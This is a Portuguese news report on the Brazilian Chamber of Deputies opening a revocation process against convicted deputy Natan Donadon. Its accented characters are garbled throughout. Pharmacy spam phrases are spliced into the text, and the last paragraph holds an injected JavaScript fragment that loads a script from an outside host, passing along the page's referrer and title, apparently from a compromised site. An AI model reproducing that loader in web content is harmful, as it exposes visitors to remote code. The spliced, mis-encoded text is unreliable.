A CA?mara dos Deputados abriu na tarde desta quarta-feira (26) processo de cassaAi??A?o do deputado Natan Donadon (PMDB-RO), que teve a prisA?o decretada pelo (Supremo Tribunal Federal).
Ele foi condenado pelo STF a 13 anos e quatro meses de prisA?o por formaAi??A?o de quadrilha e peculato e nA?o hA? mais chance de recorrer da decisA?o.
IrmA?o de deputado Natan Donadon Ai?? preso em RondA?nia
A Casa entende que ele poderA? ser preso, independente da perda do mandato, pois a prisA?o e o exercAi??cio do mandato sA?o questAi??es distintas. Foi estabelecido ainda que se eventualmente Donadon estiver na CA?mara, ele nA?o poderA? ser preso pela PolAi??cia Federal. A prisA?o terA? que ser realizada pela PolAi??cia Legislativa.
O caso do deputado foi discutido pelos lAi??deres da CA?mara por mais de trA?s horas. Ficou definido que a Mesa Diretora vai se reunir nos prA?ximos minutos para aprovar uma representaAi??A?o contra Donadon.
O processo segue para a CCJ (ComissA?o de ConstituiAi??A?o e JustiAi??a). Por lA?, o deputado terA? o prazo de cinco sessAi??es para apresentar sua defesa. Depois desse prazo, o processo serA? submetido ao plenA?rio, precisando de 257 votos para ele ser cassado.
O presidente da CA?mara, Henrique Eduardo Alves (PMDB-RN), convocou uma reuniA?o da CCJ nesta quinta-feira (27) para tratar do caso.
A ordem de prisA?o do deputado trouxe desconforto entre os lAi??deres. Eduardo Alves fez uma reuniA?o Ai??s pressas para definir a atuaAi??A?o da Casa no processo. Ao contrA?rio do que ocorre de costume, todos os assessores dos lAi??deres foram retirados do encontro, sA? permanecendo os parlamentares.
O deputado federal de RondA?nia, Natan Donadon, foi condenado pelo STF por formaAi??A?o de quadrilha e peculato
O caso tambAi??m dividiu os lAi??deres. A assessoria da Casa reconheceu que hA? interpretaAi??Ai??es jurAi??dicas diferentes para o processo. Uma tese defendia que a prisA?o de Donadon sA? poderia acontecer se nA?o tivesse mais o mandato. A maioria dos lAi??deres rejeitou essa linha e definiu que neste caso sA?o questAi??es diferentes, permitindo que ele seja preso mesmo ainda com o mandato parlamentar.
A decisA?o do Supremo trouxe a preocupaAi??A?o entre o comando da Casa dele ser preso nas dependA?ncias da CA?mara, sendo que desde ontem os deputados trabalham numa “agenda positiva” de votaAi??Ai??es para aprovar projetos que na pauta das manifestaAi??Ai??es populares.
“NA?o vamos ficar pensando nisso [prisA?o na CA?mara]”, disse Eduardo Alves. “Vamos ser otimistas.” Donandon nA?o registrou presenAi??a hoje na CA?mara. Segundo assessoria, estA? em BrasAi??lia, mas nA?o vai se pronunciar. Ontem, ele esteve na Casa, mas nA?o votou.
Segundo lAi??deres o processo Ai?? protocolar. “Se ele perdeu os direitos polAi??ticos nA?o pode mais ser deputado. NA?o tem como apresentar defesa para o indefensA?vel”, disse o lAi??der do PSB, buy chloromycetin ointmentBeto Albuquerque (RS).
O lAi??der do PSDB, Carlos Sampaio (SP), disse que a “imagem da Casa” serA? preservada. “Qualquer pessoa que foi condenada criminalmente tem de cumprir sua pena”, afirmou.
Questionado se o caso Donadon vai abrir um precedente para os quatro deputados condenados pelo STF no julgamento do mensalA?o, o presidente da CA?mara negou. “SA?o casos distintos”.
AlAi??m de condenados, JosAi?? Genoino (PT-SP), JoA?o Paulo Cunha (PT-SP), Valdemar Costa Neto (PR-SP) e Pedro Henry (PP-MT) tiveram a perda do mandato decretada, ao contrA?rio de Donadon.
O lAi??der do PT, JosAi?? GuimarA?es (CE), nA?o estava na reuniA?o de lAi??deres. O vice-presidente da CA?mara, AndrAi?? Vargas (PT-PR), nA?o se manifestou. O lAi??der do governo, Arlindo Chinaglia (PT-SP), fez intervenAi??Ai??es sobre as dA?vidas jurAi??dicas sobre a prisA?o de deputados. Buy s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; Buyorder retin-a online
